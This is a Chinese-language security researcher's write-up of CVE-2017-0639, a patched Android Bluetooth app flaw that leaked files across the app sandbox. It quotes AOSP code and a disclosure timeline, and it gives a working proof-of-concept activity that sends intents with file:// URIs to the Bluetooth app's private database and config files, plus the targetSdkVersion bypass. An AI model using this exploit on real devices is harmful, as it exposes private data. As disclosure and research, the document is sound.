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  • 蓝牙App漏洞系列分析之二CVE-2017-0639

    蓝牙App漏洞系列分析之二CVE-2017-0639

    0x01 漏洞简介

    Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有的私有文件,绕过了将应用数据与其他应用隔离的操作系统防护功能。

    漏洞信息如下:

    • CVE: CVE-2017-0639
    • BugID: A-35310991
    • 严重性: 高危
    • 漏洞类型: 信息泄露
    • Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2

    0x02 漏洞缘起

    在发现这个漏洞之前,我浏览了 Android 2017年2月的安全公告,其中两个并排的高危信息泄露漏洞引起了我的注意:

    • CVE-2017-0420: AOSP邮件中的信息泄露漏洞
    • CVE-2017-0414: AOSP短信中的信息泄露漏洞

    查看这两个信息漏洞的补丁注释,分别为

    • Don't allow file attachment from /data through GET_CONTENT
    • Thirdparty can attach private files from "/data/data/com.android.messaging/" directory to the messaging app。

    涵义非常清晰,似乎邮件和短信 App 均遗漏了对发送的文件进行验证,本地攻击者可以添加 App 私有目录的数据文件发送出去,从而破坏了 Android 沙箱所提供的应用数据相互隔离的安全防护功能。

    这两个漏洞可以归纳为一类针对具有对外发送或共享功能App的攻击,Android中会不会还有类似的功能具有类似的漏洞?另外,注意到上述两个漏洞的发现者并非一人,只是巧合地同时出现在2月份的安全公告之中,发现者似乎还没有意识到这类攻击的通用性,也许真的还没有搜刮干净?

    0x03 攻击面——蓝牙的信息分享

    除了短信、邮件,很容易想到蓝牙也是 Android 一个很重要的信息对外发送出口。通常,我们选择一个文件的分享按钮,选择蓝牙,就可以触发蓝牙的文件发送功能,这是通过蓝牙 App 暴露的 BluetoothOppLauncherActivity 所实现。该 Activity 根据传入的 Intent.ACTION_SEND 或 Intent.ACTION_SEND_MULTIPLE ,启动一个线程处理单个文件或多个文件的对外发送。主要代码如下

               /*
                 * Other application is trying to share a file via Bluetooth,
                 * probably Pictures, videos, or vCards. The Intent should contain
                 * an EXTRA_STREAM with the data to attach.
                 */
                if (action.equals(Intent.ACTION_SEND)) {
                    // TODO: handle type == null case
                    final String type = intent.getType();
                    final Uri stream = (Uri)intent.getParcelableExtra(Intent.EXTRA_STREAM);
                    CharSequence extra_text = intent.getCharSequenceExtra(Intent.EXTRA_TEXT);
                    // If we get ACTION_SEND intent with EXTRA_STREAM, we'll use the
                    // uri data;
                    // If we get ACTION_SEND intent without EXTRA_STREAM, but with
                    // EXTRA_TEXT, we will try send this TEXT out; Currently in
                    // Browser, share one link goes to this case;
                    if (stream != null && type != null) {
                        if (V) Log.v(TAG, "Get ACTION_SEND intent: Uri = " + stream + "; mimetype = "
                                    + type);
                        // Save type/stream, will be used when adding transfer
                        // session to DB.
                        Thread t = new Thread(new Runnable() {
                            public void run() {
                                BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
                                    .saveSendingFileInfo(type,stream.toString(), false);
                                //Done getting file info..Launch device picker and finish this activity
                                    launchDevicePicker();
                                    finish();
                                }
                            });
                            t.start();
                            return;
                        } else {
                            Log.w(TAG,"Error trying to do set text...File not created!");
                            finish();
                            return;
                        }
                    } else {
                        Log.e(TAG, "type is null; or sending file URI is null");
                        finish();
                        return;
                    }
                } else if (action.equals(Intent.ACTION_SEND_MULTIPLE)) {
                    final String mimeType = intent.getType();
                    final ArrayList<Uri> uris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM);
                    if (mimeType != null && uris != null) {
                        if (V) Log.v(TAG, "Get ACTION_SHARE_MULTIPLE intent: uris " + uris + "n Type= "
                                    + mimeType);
                        Thread t = new Thread(new Runnable() {
                            public void run() {
                                BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
                                    .saveSendingFileInfo(mimeType,uris, false);
                                //Done getting file info..Launch device picker
                                //and finish this activity
                                launchDevicePicker();
                                finish();
                            }
                        });
                        t.start();
    

    那么,传入蓝牙 App 私有数据试试!先寻找 bluetooth 所拥有的私有文件,

    angler:/ # find /data -user bluetooth -exec ls -al {} ; 2>  /dev/null
    

    可以选定两个bluetooth所拥有、有实质内容的文件作为发送对象,file:///data/user_de/0/com.android.bluetooth/databases/btopp.dbfile:///data/misc/bluedroid/bt_config.conf

    很快可以写出PoC

    public class MainActivity extends AppCompatActivity {
        Button m_btnSendPriv = null;
        Button m_btnSendMPriv = null;
        private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db";
        private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf";
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
    
            m_btnSendPriv = (Button)findViewById(R.id.send_private);
            m_btnSendPriv.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View view) {
                    Intent intent = new Intent(Intent.ACTION_SEND);
                    intent.setType("text/plain");
                    Uri uri = Uri.parse(PRIV_FILE_URI1);
                    intent.putExtra(Intent.EXTRA_STREAM, uri);
                    intent.setComponent(new ComponentName("com.android.bluetooth",
                         "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
                    startActivity(intent);
                }
            });
    
            m_btnSendMPriv = (Button)findViewById(R.id.send_private_multiple);
            m_btnSendMPriv.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View view) {
                    Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
                    intent.setType("text/plain");
                    ArrayList<Uri> uris = new ArrayList<Uri>();
                    uris.add(Uri.parse(PRIV_FILE_URI1));
                    uris.add(Uri.parse(PRIV_FILE_URI2));
                    intent.putExtra(Intent.EXTRA_STREAM, uris);
                    intent.setComponent(new ComponentName("com.android.bluetooth",
                        "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
                    startActivity(intent);
    
                }
            });
        }
    }
    

    0x04 进一步分析

    真的那么简单吗?编译PoC,运行却抛出了安全异常!

    --------- beginning of crash
    06-12 10:32:43.930 16171 16171 E AndroidRuntime: FATAL EXCEPTION: main
    06-12 10:32:43.930 16171 16171 E AndroidRuntime: Process: ms509.com.testaospbluetoothopplauncher, PID: 16171
    06-12 10:32:43.930 16171 16171 E AndroidRuntime: android.os.FileUriExposedException: file:///data/user_de/0/com.android.bluetooth/databases/btopp.db exposed beyond app through ClipData.Item.getUri()
    06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.os.StrictMode.onFileUriExposed(StrictMode.java:1799)
    06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.net.Uri.checkFileUriExposed(Uri.java:2346)
    06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.content.ClipData.prepareToLeaveProcess(ClipData.java:832)
    06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.content.Intent.prepareToLeaveProcess(Intent.java:8909)
    06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.content.Intent.prepareToLeaveProcess(Intent.java:8894)
    06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.app.Instrumentation.execStartActivity(Instrumentation.java:1517)
    06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.app.Activity.startActivityForResult(Activity.java:4224)
    06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.support.v4.app.BaseFragmentActivityJB.startActivityForResult(BaseFragmentActivityJB.java:50)
    06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:79)
    06-12 10:32:43.930 16171 16171 E AndroidRuntime:     at android.app.Activity.startActivityForResult(Activity.java:4183)
    

    原来触发了 FileUriExposed 错误,出于安全考虑,Android SDK 23 以上就不能在 Intent 中传递 file:// Uri ,见官方说明:

    对于面向 Android 7.0 的应用,Android 框架执行的 StrictMode API 政策禁止在您的应用外部公开 file:// URI 。如果一项包含文件 URI 的 intent 离开您的应用,则应用出现故障,并出现 FileUriExposedException 异常。要在应用间共享文件,您应发送一项 content:// URI,并授予 URI 临时访问权限。进行此授权的最简单方式是使用 FileProvider 类。

    似乎宣判了死刑!心有不甘,继续分析 BluetoothOppLauncherActivity 后面的文件处理流程,调用链为 saveSendingFileInfo--> generateFileInfo ,查看 generateFileInfo 函数,我们发现其实是支持传入 file:// URI 的。

        public static BluetoothOppSendFileInfo generateFileInfo(Context context, Uri uri,
                String type) {
            ContentResolver contentResolver = context.getContentResolver();
            String scheme = uri.getScheme();
            String fileName = null;
            String contentType;
            long length = 0;
            // Support all Uri with "content" scheme
            // This will allow more 3rd party applications to share files via
            // bluetooth
            if ("content".equals(scheme)) {
                contentType = contentResolver.getType(uri);
                Cursor metadataCursor;
                try {
                    metadataCursor = contentResolver.query(uri, new String[] {
                            OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
                    }, null, null, null);
                } catch (SQLiteException e) {
                    // some content providers don't support the DISPLAY_NAME or SIZE columns
                    metadataCursor = null;
                } catch (SecurityException e) {
                    Log.e(TAG, "generateFileInfo: Permission error, could not access URI: " + uri);
                    return SEND_FILE_INFO_ERROR;
                }
    
                if (metadataCursor != null) {
                    try {
                        if (metadataCursor.moveToFirst()) {
                            fileName = metadataCursor.getString(
                                    metadataCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME));
                            length = metadataCursor.getLong(
                                    metadataCursor.getColumnIndex(OpenableColumns.SIZE));
                            if (D) Log.d(TAG, "fileName = " + fileName + " length = " + length);
                        }
                    } finally {
                        metadataCursor.close();
                    }
                }
                if (fileName == null) {
                    // use last segment of URI if DISPLAY_NAME query fails
                    fileName = uri.getLastPathSegment();
                }
            } else if ("file".equals(scheme)) { // Notice!!!
                fileName = uri.getLastPathSegment();
                contentType = type;
                File f = new File(uri.getPath());
                length = f.length();
            } else {
                // currently don't accept other scheme
                return SEND_FILE_INFO_ERROR;
    

    进一步查阅相关资料发现,原来 FileUriExposed 错误只是 SDK 引入的一项安全机制,仅仅是为了防止 Intent 的接收方访问发起方的私有文件。但是在我们这种攻击场景下,我们是要 Intent 的接收方 BluetoothOppLauncherActivity 访问其自己的私有文件,而且查看上述代码,蓝牙 App 既有对 file:// URI 的支持,也缺乏对文件是否属于私有目录的验证,Why not?

    既然是 SDK 23 以后引入的安全机制,那么我们把 build.gradle 中的 targetSdkVersion 从原先的25改为23,从而绕过 SDK 的检查,重新编译运行,就可以将 Bluetooth App 的私有文件通过蓝牙发送出去,而这些文件原本连用户均无法获取,这就打破了 Android 沙箱的应用间数据隔离机制。至此,大功告成!

    0x05 时间线

    • 2017.02.13: 提交Google
    • 2017.03.01: 漏洞确认,初始评级为高
    • 2017.06.05: 补丁发布
    • 2017.06.12: 漏洞公开
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